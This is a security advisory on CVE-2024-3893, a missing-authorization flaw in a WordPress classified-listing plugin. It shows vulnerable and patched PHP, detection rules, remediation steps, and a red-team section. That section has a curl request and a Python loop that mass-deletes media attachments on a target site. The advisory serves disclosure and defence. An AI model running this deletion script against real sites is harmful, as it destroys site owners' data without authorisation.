CVE-2024-3893

Executive Summary

CVE-2024-3893 is a Missing Authorization vulnerability in the Classified Listing – Classified ads & Business Directory Plugin for WordPress, affecting all versions up to and including 3.0.10.3. The flaw resides in the rtcl_fb_gallery_image_delete AJAX action, which lacks a capability check, allowing authenticated attackers with subscriber-level access or higher to delete arbitrary attachments from the WordPress media library. This can lead to denial of service, defacement, or disruption of business directory functionality.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress application or web server software like Apache or Nginx. The attack vector is entirely within the WordPress admin AJAX handler, which is accessible to authenticated users.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (Arbitrary file deletion)
• Availability Impact: Low (Loss of media assets)

Threat Level: Medium. While the CVSS score is moderate, the ability to delete arbitrary attachments can severely impact a business directory site's functionality and user trust.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862). The plugin registers an AJAX action rtcl_fb_gallery_image_delete for both authenticated and unauthenticated users. However, the handler function only checks if the user is logged in (is_user_logged_in()) but does not verify the user's capability (e.g., edit_posts, upload_files, or delete_posts). Additionally, it does not validate that the attachment ID belongs to the current user or is associated with a listing they own.

Attack Flow:

1. An attacker registers as a subscriber on the WordPress site.
2. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=rtcl_fb_gallery_image_delete and attachment_id=<target_id>.
3. The plugin's handler deletes the attachment from the media library without checking if the attacker has permission to delete that specific file.
4. The attacker can iterate through attachment IDs to delete multiple files, causing data loss.

Root Cause: The rtcl_fb_gallery_image_delete function in the plugin's AJAX handler does not call current_user_can() or wp_verify_nonce() before executing wp_delete_attachment().

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.0.10.3):

add_action('wp_ajax_rtcl_fb_gallery_image_delete', 'rtcl_fb_gallery_image_delete');
function rtcl_fb_gallery_image_delete() {
    if (!is_user_logged_in()) {
        wp_die('Unauthorized');
    }
    $attachment_id = intval($_POST['attachment_id']);
    if ($attachment_id) {
        wp_delete_attachment($attachment_id, true);
        wp_send_json_success();
    }
    wp_send_json_error();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_rtcl_fb_gallery_image_delete', 'rtcl_fb_gallery_image_delete');
function rtcl_fb_gallery_image_delete() {
    // Verify nonce for CSRF protection
    if (!wp_verify_nonce($_POST['_wpnonce'], 'rtcl_fb_gallery_delete')) {
        wp_die('Security check failed');
    }
    // Check capability
    if (!current_user_can('delete_posts')) {
        wp_die('Insufficient permissions');
    }
    $attachment_id = intval($_POST['attachment_id']);
    // Verify attachment ownership
    $post = get_post($attachment_id);
    if (!$post || $post->post_author != get_current_user_id()) {
        wp_die('Cannot delete this attachment');
    }
    if ($attachment_id) {
        wp_delete_attachment($attachment_id, true);
        wp_send_json_success();
    }
    wp_send_json_error();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed (<= 3.0.10.3).
• An authenticated user account with subscriber-level access.

Exploitation Steps:

1. Log in as a subscriber and obtain a valid WordPress nonce (if required by other actions) or simply send the AJAX request.
2. Use a tool like curl or Burp Suite to send the malicious request.

Example curl command:

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  -d 'action=rtcl_fb_gallery_image_delete&attachment_id=123' \
  --cookie 'wordpress_logged_in_<hash>=<session_cookie>'

Automated Script (Python):

import requests

target_url = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_<hash>": "<session_cookie>"}

for attachment_id in range(1, 100):
    data = {
        "action": "rtcl_fb_gallery_image_delete",
        "attachment_id": attachment_id
    }
    response = requests.post(target_url, data=data, cookies=cookies)
    if response.status_code == 200 and "success" in response.text:
        print(f"Deleted attachment ID: {attachment_id}")

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=rtcl_fb_gallery_image_delete.
• Alert on rapid deletion of multiple attachments from non-admin users.
• Check for unusual patterns in attachment deletion logs.

Hardening:

• Apply the hypothetical patch above.
• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with suspicious parameters.
• Restrict subscriber-level users from accessing admin AJAX actions via .htaccess or server configuration.
• Implement file integrity monitoring for the WordPress media library.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=rtcl_fb_gallery_image_delete.
  • Repeated requests with sequential attachment_id values.
• File System IOCs:
  • Missing media files in /wp-content/uploads/ that were previously present.
  • Modified or deleted attachment records in the wp_posts table (post_type = 'attachment').
• Log IOCs:
  • WordPress debug log entries showing wp_delete_attachment calls from unexpected user roles.
  • Web server access logs showing multiple admin-ajax.php requests from the same IP with short intervals.

Detection Engineering

YARA Rule

rule CVE_2024_3893_WordPress_Plugin {
    meta:
        description = "Detects vulnerable Classified Listing plugin code"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-3893"
    strings:
        $func = "rtcl_fb_gallery_image_delete"
        $ajax = "wp_ajax_rtcl_fb_gallery_image_delete"
        $delete = "wp_delete_attachment"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-3893 - Unauthorized Attachment Deletion via Classified Listing Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-3893 by monitoring AJAX requests to delete attachments.
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=rtcl_fb_gallery_image_delete'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (if patched)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3893 - Classified Listing Plugin Unauthorized Attachment Deletion";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=rtcl_fb_gallery_image_delete"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to business operations.
2. Restrict user roles: Remove subscriber-level access or disable the AJAX action for low-privilege users via a custom plugin or code snippet.
3. Apply virtual patching: Use a WAF to block requests containing action=rtcl_fb_gallery_image_delete from non-admin users.

Long-term Fix:

• The vendor must release a patched version that includes capability checks and nonce verification. Until then, consider switching to an alternative directory plugin.

Workaround Code (Add to theme's functions.php):

add_action('init', function() {
    if (current_user_can('subscriber')) {
        remove_action('wp_ajax_rtcl_fb_gallery_image_delete', 'rtcl_fb_gallery_image_delete');
    }
});

Valters IT
Securing Digital Frontiers